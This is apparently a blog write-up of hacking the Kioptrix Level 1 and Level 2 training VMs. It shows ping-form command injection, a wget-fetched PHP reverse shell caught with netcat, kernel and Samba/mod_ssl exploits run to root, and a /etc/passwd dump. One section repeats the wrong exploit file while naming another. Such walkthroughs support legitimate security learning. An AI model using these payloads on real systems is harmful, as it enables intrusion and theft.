Let's think about how the backend for this functionality might work, like we did above for the SQL statement. It is reasonable to assume that the ping command is being called from PHP with something like this: shell-output = exec('ping -c3 $ip'); where $ip is taken directly from the posted value and not sanitized at all.

Let's see what we can sneak in to that $ip parameter.
The request:

which looks like this in Burp:

POST /pingit.php HTTP/1.1
Host: 172.16.2.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.2.131/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1%3B+id&submit=submit

Results in:

Notice the last line of output; It's clear we are able to run arbitrary commands as the apache user!

Shelling Out

To make things easier, let's get ourselves a better shell. I first attempted to use netcat, but it is not installed on the target. We know PHP is installed, so let's leverage that for a shell.

We first need to modify the shell with our listener information:

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php .
root@kali:~# cat /usr/share/webshells/php/php-reverse-shell.php | grep "CHANGE THIS"
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
root@kali:~# sed -i "s#$ip = '127.0.0.1';  // CHANGE THIS#$ip = '172.16.2.129';#" php-reverse-shell.php
root@kali:~# sed -i "s#$port = 1234;       // CHANGE THIS#$port = 1337;#" php-reverse-shell.php
root@kali:~# cat php-reverse-shell.php | grep -e ^\$ip -e ^\$port
$ip = '172.16.2.129';
$port = 1337;

Next, we need to serve up the shell from our Kali box and then download it to the target somewhere the apache user can write:

root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.2.131 - - [14/Aug/2017 00:28:43] "GET /php-reverse-shell.php HTTP/1.0" 200 -

Issuing the wget command via the identified injection: 127.0.0.1; wget -O /tmp/php-reverse-shell.php http://172.16.2.129:8000/php-reverse-shell.php

POST /pingit.php HTTP/1.1
Host: 172.16.2.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.2.131/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1%3B+wget+-O+%2Ftmp%2Fphp-reverse-shell.php+http%3A%2F%2F172.16.2.129%3A8000%2Fphp-reverse-shell.php&submit=submit

Set up our listener on our Kali box:

root@kali:~# nc -nnvvlp 1337
listening on [any] 1337 ...

Finally, we can execute our shell via the command injection: 127.0.0.1; php /tmp/php-reverse-shell.php

POST /pingit.php HTTP/1.1
Host: 172.16.2.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.2.131/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1%3B+php+%2Ftmp%2Fphp-reverse-shell.php&submit=submit

And voilà, a usable reverse shell:

root@kali:~# nc -nnvvlp 1337
listening on [any] 1337 ...
connect to [172.16.2.129] from (UNKNOWN) [172.16.2.131] 32792
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
 02:29:01 up  5:23,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-3.00$

Privilege Escalation

We are now staring at an apache user shell, but what we really want is a root shell. Before I run my full Linux enumeration script, let's see if we can get an easy win — do we have a vulnerable kernel?

sh-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Googling for the kernel version shows a promising result:

root@kali:~# searchsploit linux 2.6 | grep 9542
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Cor | ./linux/local/9542.c

Let's download it to our target:

root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/9542.c .
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

sh-3.00$ wget -O /tmp/9542.c http://172.16.2.129:8000/9542.c
--23:19:38--  http://172.16.2.129:8000/9542.c
           => `/tmp/9542.c'
Connecting to 172.16.2.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/plain]

    0K ..                                                    100%  210.21 MB/s

23:19:38 (210.21 MB/s) - `/tmp/9542.c' saved [2645/2645]

Compile and execute it:

sh-3.00$ gcc -o /tmp/9542 /tmp/9542.c
sh-3.00$ chmod +x /tmp/9542
sh-3.00$ /tmp/9542
[-] exploit failed, try again

Hmm, all of my expectations, the 'ip_append_data()' Ring0 Privilege Escalation exploit failed on this box. At this point, I am unsure why the exploit was unsuccessful, but I am going to move on. In a future post, I plan to dissect this exploit and the associated vulnerability and try to understand why this did not work.

Privilege Escalation - Take 2

Our first attempt at local privilege escalation was unsuccessful. Luckily, it appears we have another option:

root@kali:~# searchsploit kernel 2.6 linux local | grep "CentOS\ 4"
Linux Kernel 2.4 / 2.6 (RedHat Linux 9 / Fedora Core 4<11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Root Exploit (5)                                                 | ./linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Root Exploit (1)                                                  | ./linux/local/9542.c
Linux Kernel 2.4.x / 2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Privilege Escalation                                      | ./linux/local/9545.c

The first result, 9479.c — 'sock_sendpage()' Ring0 Root Exploit, seems to match our target. Let's give it a try following the same workflow as above.

Let's download it to our target:

root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/9542.c .
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

sh-3.00$ wget -O /tmp/9542.c http://172.16.2.129:8000/9542.c
--23:19:38--  http://172.16.2.129:8000/9542.c
           => `/tmp/9542.c'
Connecting to 172.16.2.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/plain]

    0K ..                                                    100%  210.21 MB/s

23:19:38 (210.21 MB/s) - `/tmp/9542.c' saved [2645/2645]

Compile and execute it:

sh-3.00$ gcc -o /tmp/9542 /tmp/9542.c
sh-3.00$ chmod +x /tmp/9542
sh-3.00$ /tmp/9542

Well, that's not good... The shell seems to be hung. Let's check the VMware console:

Kernel Panic! Oops, another exploit that seems like it should have worked, but failed. Again, good material for a future exploit research post, but for now let's reset the VM and try again.

Privilege Escalation - Take 3

We are oh-for-two on this local privilege escalation, but the good news is we still have another exploit to try from our original search:
Linux Kernel 2.4.x / 2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Privilege Escalation | ./linux/local/9545.c

By now, the workflow is clear:

Download it to our target:

root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/9545.c .
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

sh-3.00$ wget -O /tmp/9545.c http://172.16.2.129:8000/9545.c
--21:39:13--  http://172.16.2.129:8000/9545.c
           => `/tmp/9545.c'
Connecting to 172.16.2.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,785 (9.6K) [text/plain]

    0K .........                                             100%  777.64 MB/s

21:39:13 (777.64 MB/s) - `/tmp/9545.c' saved [9785/9785]

Compile and execute it:

sh-3.00$ gcc -o /tmp/9545 /tmp/9545.c
sh-3.00$ chmod +x /tmp/9545
sh-3.00$ /tmp/9545
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

Whoomp, there it is! A root shell! Since this was the goal of the challenge we can stop here. There may be other ways in to this box, but we'll leave those shells for a rainy day.

Conclusion

Things were looking a bit hairy there for a minute, with two failed exploits back to back. If we've learned anything here it's persistence — or maybe the lesson is, we shouldn't be running exploits without fist completely digesting them, lest we be confused for a skid. As mentioned above, it will make for an interesting future exercise to dissect the attempted exploits and understand why they failed. For now, let's just be content with the root shell we achieved and move forward in our Kioprtix jorney. See you next time neighbors, until then keep your boxes patched and your shells root.

Kioptrix: Level 1 (#1) Walkthrough

rootshellz — Wed, 16 Aug 2017 05:24:00 GMT

Intro

Defcon 25 is in the books and my Penetration Testing Training with Kali Linux (PWK) / Offensive Security Certified Professional (OSCP) lab time is up. I now have a bit of extra time but I also want to keep my forward momentum in the land of pwning boxes... Accordingly, this seems like an opportune time to start posting, and what better topic than gaining root shellz?

I went in search of pwnables that were similar to the boxes I experienced in the PWK lab and found the Kioptrix series of VMs recommended. The series is also on VulnHub. Kioptrix consists of five machines, each of increasing difficulty. The challenges appear to be a bit older, but still seem relevant.

For those that don't know, a pwnable or Boot2Root is an intentionally vulnerable virtual machine (VM) that provides a challenge to hackers. The goal is usually to root the box. Some challenges have an intended solution and guide you down the correct path, others expect you to attack the box by any means necessary.

Let's get started with the first box. I downloaded the .rar file, decompressed it, and spun up the VM in VMware Fusion. After booting, I was presented with the following screen:

Scanning and Enumeration

Identifying Target Address (DHCP)

The host grabs an address via DHCP as it boots. Identifying the host on my network was simple as the VM is in a low traffic local subnet on my host machine.

root@kali:~# ifconfig eth1 | grep "inet\s"
inet 172.16.2.129  netmask 255.255.255.0  broadcast 172.16.2.255

root@kali:~# nmap -T4 -sn 172.16.2.0/24

Starting Nmap 7.25BETA2 ( https://nmap.org )
Nmap scan report for 172.16.2.1
Host is up (0.0011s latency).
MAC Address: 00:50:56:C0:00:02 (VMware)
Nmap scan report for 172.16.2.130
Host is up (0.00027s latency).
MAC Address: 00:0C:29:E8:BF:7E (VMware)
Nmap scan report for 172.16.2.254
Host is up (0.00017s latency).
MAC Address: 00:50:56:E8:27:6D (VMware)
Nmap scan report for 172.16.2.129
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 13.11 seconds

The scan shows only four live IPs on my target subnet (172.16.2.0/24): the gateway (.1), DHCP server (.254), my Kali machine (.129), and the target, Kioptrix1, which has been assigned 172.16.2.130.

Enumerate All the things

nmap

root@kali:~# nmap -T4 -Pn -sV -O -p- 172.16.2.130

Starting Nmap 7.25BETA2 ( https://nmap.org )
Nmap scan report for 172.16.2.130
Host is up (0.00042s latency).
Not shown: 65528 closed ports
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp  open  status      1 (RPC #100024)
45295/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port45295-TCP:V=7.25BETA2%I=7%D=8/12%Time=598EC8C9%P=i686-pc-linux-gnu%
SF:r(GenericLines,3E,"/bin//sh:\x20\r:\x20command\x20not\x20found\n/bin//s
SF:h:\x20\r:\x20command\x20not\x20found\n")%r(GetRequest,1FD,"Can't\x20ign
SF:ore\x20signal\x20CHLD,\x20forcing\x20to\x20default\.\nUse\x20of\x20unin
SF:itialized\x20value\x20in\x20pattern\x20match\x20\(m//\)\x20at\x20/usr/l
SF:ib/perl5/site_perl/5\.6\.0/URI/Heuristic\.pm\x20line\x2097\.\n\n<
SF:HEAD>An\x20Error\x20Occurred\n\nAn\x20E
SF:rror\x20Occurred\n500\x20Can't\x20locate\x20object\x20method\x20\"
SF:epath\"\x20via\x20package\x20\"URI::file\"\n\n\n\n\
SF:nAn\x20Error\x20Occurred\n\nAn\x2
SF:0Error\x20Occurred\n500\x20Can't\x20connect\x20to\x20HTTP:80\x20\(
SF:Bad\x20hostname\x20'HTTP'\)\n\n\n\n/bin//sh:\x20\r:\x20co
SF:mmand\x20not\x20found\n")%r(HTTPOptions,44,"/bin//sh:\x20OPTIONS:\x20co
SF:mmand\x20not\x20found\n/bin//sh:\x20\r:\x20command\x20not\x20found\n")%
SF:r(RTSPRequest,44,"/bin//sh:\x20OPTIONS:\x20command\x20not\x20found\n/bi
SF:n//sh:\x20\r:\x20command\x20not\x20found\n")%r(Help,23,"/bin//sh:\x20HE
SF:LP\r:\x20command\x20not\x20found\n")%r(TLSSessionReq,4F,"/bin//sh:\x20\
SF:x16\x03i\x01e\x03\x03U\x1c\xa7\xe4random1random2random3random4\x0c/:\x2
SF:0No\x20such\x20file\x20or\x20directory\n")%r(Kerberos,2E,"/bin//sh:\x20
SF:qj\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01:\x20command\x20not\x2
SF:0found\n")%r(FourOhFourRequest,1F4,"Can't\x20ignore\x20signal\x20CHLD,\
SF:x20forcing\x20to\x20default\.\nUse\x20of\x20uninitialized\x20value\x20i
SF:n\x20pattern\x20match\x20\(m//\)\x20at\x20/usr/lib/perl5/site_perl/5\.6
SF:\.0/URI/Heuristic\.pm\x20line\x2097\.\n\nAn\x20Error
SF:\x20Occurred\n\nAn\x20Error\x20Occurred\n
SF:404\x20File\x20`/nice\x20ports,/Trinity\.txt\.bak'\x20does\x20not\x20ex
SF:ist\n\n\n\nAn\x20Error\x20Occurred</TI
SF:TLE></HEAD>\n<BODY>\n<H1>An\x20Error\x20Occurred</h1>\n500\x20Can't\x20
SF:connect\x20to\x20HTTP:80\x20\(Bad\x20hostname\x20'HTTP'\)\n\n</BODY>\n<
SF:/HTML>\n/bin//sh:\x20\r:\x20command\x20not\x20found\n");
MAC Address: 00:0C:29:E8:BF:7E (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.28 seconds
</code></pre>
<p>There is plenty going on here, so I started by running the OpenSSH, Apache, mod_ssl, and OpenSSL versions through <a href="https://www.exploit-db.com/">Exploit DB</a>.  There were some decent matches, but I wanted to dig in to the SMB service first.  Usually when SMB fails, it fails hard...</p>
<h1 id="exploitation1smb">Exploitation #1 - SMB</h1>
<p>I wanted to get more info on the netbios service (on 139/tcp) at least get a version.</p>
<pre><code class="language-shell-output">root@kali:~# enum4linux 172.16.2.130
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ )

[... snip ...]

 ====================================== 
|    OS information on 172.16.2.130    |
 ====================================== 
[+] Got OS info for 172.16.2.130 from smbclient: Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
[+] Got OS info for 172.16.2.130 from srvinfo:
  KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server
  platform_id     : 500
  os version      : 4.5
  server type     : 0x9a03

[... snip ...]

enum4linux complete on Fri Aug 11 22:42:00 2017
</code></pre>
<p>Ahh, there's the version: Samba <em>2.2.1a</em>, which I then ran through Exploit DB:</p>
<pre><code class="language-shell-output">root@kali:~# searchsploit Samba | grep "2\.2\."
Samba 2.2.x - Remote Root Buffer Overflow                            | ./linux/remote/7.pl
[... snip ...]
</code></pre>
<p>This looked promising, so I attempted the exploit:</p>
<pre><code class="language-shell-output">root@kali:~# perl /usr/share/exploitdb/platforms/linux/remote/7.pl

 trans2root.pl - Samba 2.2.x 'trans2open()' Remote Exploit
===================================

    Usage: 
           /usr/share/exploitdb/platforms/linux/remote/7.pl <options> -t <target type> -H <your ip> -h <target ip>
  Options:  
           -M (S|B) <single or brute mode>
           -r       <return address for single mode>
           -p       <alternate Samba port>
           -P       <alternate listener port>
  Targets:
            linx86
            solx86
            fbsdx86
</code></pre>
<pre><code class="language-shell-output">root@kali:~# perl /usr/share/exploitdb/platforms/linux/remote/7.pl -t linx86 -H 172.16.2.129 -h 172.16.2.130
[*] Using target type: linx86
[*] Listener started on port 1981
[*] Starting brute force mode...
[*] Return Address: 0xbf0001ff                              
root@kali:~#
</code></pre>
<p>Unfortunately, after running through the address brute-force, this exploit script did not seem to do the trick.</p>
<p>I was still convinced that this vulnerability was exploitable, so I went looking for another working exploit.  I simply Googled "Samba 2.2.1a" and my first hit was for an exploit actually labeled Samba 2.2.<em>8</em>, but stated, "Remote root exploit for Samba 2.2.x and prior that works against Linux (all distributions) [...]."</p>
<p></p>
<p>As a side note, this exploit labeling makes it difficult to identify this exploit with the searchsploit tool.  If anyone know how to better use searchsploit, let me know.</p>
<p>At any rate, I located, compiled, and ran the exploit:</p>
<pre><code class="language-shell-output">root@kali:~# searchsploit "Samba 2.2.8"
------------------------------------------------------------------------------------------------------------------- ----------------------------------
 Exploit Title                                                                                                     |  Path
                                                                                                                   | (/usr/share/exploitdb/platforms)
------------------------------------------------------------------------------------------------------------------- ----------------------------------
Samba 2.2.8 - Remote Root Exploit                                                                                  | ./linux/remote/10.c
</code></pre>
<pre><code class="language-shell-output">root@kali:~# gcc -o sambasploit /usr/share/exploitdb/platforms/linux/remote/10.c 
root@kali:~# file sambasploit 
sambasploit: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3209817b6f2b2e5f713e16f8e55dcf0fbb219feb, not stripped
</code></pre>
<pre><code class="language-shell-output">root@kali:~# ./sambasploit 
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./sambasploit [-bBcCdfprsStv] [host]

-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step>       bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p <port>       port to attack (default = 139)
-r <ret>        return address
-s              scan mode (random)
-S <network>    scan mode
-t <type>       presets (0 for a list)
-v              verbose mode
</code></pre>
<pre><code class="language-shell-output">root@kali:~# ./sambasploit -v -b 0 172.16.2.130
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
id    
uid=0(root) gid=0(root) groups=99(nobody)
whoami
root
</code></pre>
<p>Boom, rootshellz!  At this point, instead of moving on to persistence and pilfering the box, I instead wanted to see if I could find any other ways to pwn Kioptrix1.</p>
<p>Unfamiliar with "JE MOET JE MUIL HOUWE," I found it is Dutch for "YOU MUST HAVE YOUR MOUSE."  It is also, apparently, a <a href="https://www.youtube.com/watch?v=BcpirI2BcWI">hardcore song by Neophyte</a>.  If there is some further reference here, it is lost on me.</p>
<h1 id="exploitation2apacheandmod_ssl">Exploitation #2 - Apache and mod_ssl</h1>
<p>Searching for Apache and mod_ssl vulnerabilities / exploits turned up a promising hit:</p>
<pre><code class="language-shell-output">root@kali:~# searchsploit apache mod_ssl
---------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
 Exploit Title                                                                                                                    |  Path
                                                                                                                                  | (/usr/share/exploitdb/platforms)
---------------------------------------------------------------------------------------------------------------------------------- ----------------------------------
Apache/mod_ssl (< 2.8.7) OpenSSL - 'OpenFuckV2.c' Remote Exploit (2)                                                              | ./unix/remote/764.c
[... snip ...]
</code></pre>
<p>I attempted to compile this exploit, using libcrypto, but it failed miserably.  I did some Googling and found an article by <a href="http://paulsec.github.io/">PaulSec</a> about <a href="http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/">updating this exploit</a> for modern pwning.  PaulSec's modifications worked with two exceptions:  First, I had to change the URL, as suggested by PauSec, but I needed https instead of http (<a href="https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c">https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c</a>).  Second, on my Kali install, I had to install libssl1.0-dev as opposed to just libssl1-dev.  In fact, this required removing my existing libssl-dev package.  Once all modifications were made to the exploit an my build environment, I was able to compile and use the exploit:</p>
<pre><code class="language-shell-output">root@kali:~# gcc -o OpenFuckIn2017 OpenFuckIn2017.c -lcrypto
root@kali:~# file OpenFuckIn2017
OpenFuckIn2017: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b6026a5ef5267c1ff4612467c68fe9f24f8449c9, not stripped
</code></pre>
<pre><code class="language-shell-output">root@kali:~# ./OpenFuckIn2017

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./OpenFuckIn2017 target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)
  

  Supported OffSet:
  [... snip ...]
Fuck to all guys who like use lamah ddos. Read SRC to have no surprise
</code></pre>
<p>I needed to identify the target to use:</p>
<pre><code class="language-shell-output">root@kali:~# ./OpenFuckIn2017 | grep RedHat | grep 1.3.20
  0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
  0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
</code></pre>
<p>I attempted the first target without luck:</p>
<pre><code class="language-shell-output">root@kali:~# ./OpenFuckIn2017 0x6a 172.16.2.130

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80fc080
Ready to send shellcode
Spawning shell...
Good Bye!
</code></pre>
<p>So I moved on to the second:</p>
<pre><code class="language-shell-output">root@kali:~# ./OpenFuckIn2017 0x6b 172.16.2.130

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- 
--01:17:47--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... 
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$ 
bash-2.05$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-2.05$ pwd
pwd
/tmp
</code></pre>
<p>Awesome, I received a shell, albeit not root.  This is when I discovered that because I set up Kioptrix1 without Internet access, my initial remote exploit was unable to download the ptrace/kmod local root exploit from packetstormsecurity.net.  I proceeded to stage the privilege escalation exploit locally on my Kali box:</p>
<pre><code class="language-shell-output">root@kali:~# wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
--2017-08-13 10:56:21--  http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
Resolving dl.packetstormsecurity.net (dl.packetstormsecurity.net)... 198.84.60.200
Connecting to dl.packetstormsecurity.net (dl.packetstormsecurity.net)|198.84.60.200|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c [following]
--2017-08-13 10:56:22--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
Connecting to dl.packetstormsecurity.net (dl.packetstormsecurity.net)|198.84.60.200|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3921 (3.8K) [text/x-csrc]
Saving to: ‘ptrace-kmod.c’

ptrace-kmod.c                                        100%[====================================================================================================================>]   3.83K  --.-KB/s    in 0s      

2017-08-13 10:56:22 (70.1 MB/s) - ‘ptrace-kmod.c’ saved [3921/3921]
</code></pre>
<p>I then updated my exploit to download the file from my Kali box, again using the Python Simple HTTP server.</p>
<pre><code class="language-shell-output">root@kali:~# cp OpenFuckIn2017.c OpenFuckIn2017LocalDL.c
root@kali:~# sed -i 's*https://dl.packetstormsecurity.net/0304-exploits/*http://172.16.2.129:8000/*' OpenFuckIn2017LocalDL.c
root@kali:~# gcc -o OpenFuckIn2017LocalDL OpenFuckIn2017LocalDL.c -lcrypto
</code></pre>
<pre><code class="language-shell-output">root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.2.130 - - [13/Aug/2017 11:03:20] "GET /ptrace-kmod.c HTTP/1.0" 200 -
</code></pre>
<pre><code class="language-shell-output">root@kali:~# ./OpenFuckIn2017LocalDL 0x6b 172.16.2.130

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8068
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
 gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; 172.16.2.129:8000/ptrace-kmod.c; 
--00:02:13--  http://172.16.2.129:8000/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to 172.16.2.129:8000... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/plain]

    0K ...                                                   100% @   3.74 MB/s

00:02:13 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]

[+] Attached to 984
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
whoami
root

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nolcat /etc/passwd
ogin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
